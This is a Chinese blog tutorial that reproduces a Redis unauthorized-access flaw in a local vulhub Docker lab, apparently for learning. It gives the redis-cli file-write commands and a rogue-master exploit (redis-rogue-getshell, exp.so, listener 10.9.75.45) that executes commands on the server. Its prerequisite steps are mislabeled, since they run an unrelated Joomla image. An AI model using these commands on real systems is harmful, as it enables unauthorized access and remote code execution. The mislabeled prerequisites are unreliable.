redis未授权访问

news/2025/2/4 3:54:29/

文章目录

  • 搭建环境
  • 漏洞复现
  • 安装Exlopit并使用

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

搭建环境

输入下面命令,来到Redis的路径下:

cd vulhub/redis/4-unacc

然后输入下面命令,安装容器并启动

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装中:

在这里插入图片描述

安装完成并启动后查看容器状态:

sudo docker-compose ps -a

状态为已启动,redis的端口号是6379:

在这里插入图片描述

漏洞复现

用下面命令连接redis数据库,发现不需要账号密码,可以直接连接数据库:

redis-cli -h 127.0.0.1

说明redis存在未授权访问漏洞:

在这里插入图片描述

在数据库中用info命令查看数据库信息,可以查看:

在这里插入图片描述

然后在数据库中添加键值对和一个txt文件,并尝试访问文件,如果能访问成功,说明数据库有读写文件的权限。

新建键值对并查看

set name EMT
get name

执行命令后可以成功查看:
在这里插入图片描述

设置一个目录:

 config set dir /tmp/

设置新建一个文件:

 config set dbfilename EMT.txt

保存

save

如图,命令执行成功:

在这里插入图片描述

由于连接的是docker容器的数据库,所以我们可以在docker中查看刚刚新建的文件是否存在,首先登录容器:(-it后接的参数是容器的ID)

sudo docker exec -it 4-unacc-redis-1 /bin/bash

登录成功后用命令查看tmp目录下的文件是否创建成功:

ls /tmp

发现创建成功,说明redis数据库可以读取写入文件,这是redis存在的未授权访问漏洞:

在这里插入图片描述

安装Exlopit并使用

进入kali的tools目录下,执行下面命令,获取文件:

git clone https://github.com/vulhub/redis-rogue-getshell.git

下载完成后进入目录

cd redis-rogue-getshell/RedisModulesSDK

输入make进行编译,编译成功后会出现exp.so文件:

在这里插入图片描述

然后在redis-master.py的上级目录执行下面命令:

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "id"

如图,获得了uid和组ID:

在这里插入图片描述

输入whoami命令查看:

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

执行成功,回显出数据库的名字:

在这里插入图片描述

说明该漏洞可以用来获取数据库信息


http://www.ppmy.cn/news/1081575.html

相关文章

QGIS合并矢量图层后layer属性显示不全 | QGIS踩坑实录

省流 QGIS【合并矢量图层】,自动生成layer字段时,遇到图层名中的“.”等不支持的字符会自动截断 问题描述 使用QGIS的【合并矢量图层】功能时,在合并结果中,QGIS会自动添加一个layer字段,用来记录当前数据是来自合并…

iPhone 14 Plus与iPhone 14 Pro:你应该买哪一款

又到了iPhone季,这意味着你可能会在几种不同的机型之间左右为难,无法决定买哪一款。更令人困惑的是,苹果推出的iPhone变体——iPhone 14 Plus,只比老款iPhone 14 Pro低100美元。 有这么多选择,你可能想知道哪款iPhone最适合你。你应该买一部大屏幕的iPhone 14 Plus并节省…

Docker原理详细剖析-Namespace

一、简介 docker容器技术从2013年开始火了以后,2014年左右当时有幸在学校能和学院教授一起做些项目以及学习。其中docker技术在当时来说还算是比较新的技术,国内关于这块的资料以及使用也才刚刚开始,讨论docker技术,算是相对时髦的…

LabVIEW计算测量路径输出端随机变量的概率分布密度

LabVIEW计算测量路径输出端随机变量的概率分布密度 今天,开发算法和软件来解决计量综合的问题,即为特定问题寻找最佳测量算法。提出了算法支持,以便从计量上综合测量路径并确定所开发测量仪器的测量误差。测量路径由串联的几个块组成&#x…

powerpc架构的前世今生

文章目录 Powerpc架构的前世今生什么是powerpc?PowerPC和ARM有什么区别呢? Powerpc架构的前世 PowerPC架构是一种基于精简指令集计算机(RISC)的处理器架构。它最初由IBM、Motorola和Apple共同开发,旨在为个人电脑、工…

Numpy数组(随时更新)

一、Numpy数组对象的重要属性 #导入库 import numpy as npdata np.arange(12).reshape(4,3)data2 np.arange(24).reshape(3,4,2) #ndim维度个数data.ndimdata2.ndim #shape形状几行几列 数组的维度data.shapedata2.shape#size数组的总个数data.sizedata2.size #dtype数组元素的…

数据结构学习系列之顺序表的两种插入方式

方式1:在顺序表末端插入数据元素,代码如下:示例代码: int insert_seq_list_1(list_t *seq_list,int data){if(NULL seq_list){printf("入参为NULL\n");return -1;}if(N seq_list->count){printf("顺序表已满…

【WebRTC---源码篇】(二:三)视频消费者VideoSinkInterfacee

作用&#xff1a;这是一个视频消费的基类&#xff0c;所有需要使用视频帧数据的类都需要继承它 namespace rtc { //VideoSinkInterface是WebRTC中用于接收和处理视频帧数据的接口类。 //通过实现该接口&#xff0c;可以实现自定义的视频数据处理逻辑。 template <typename…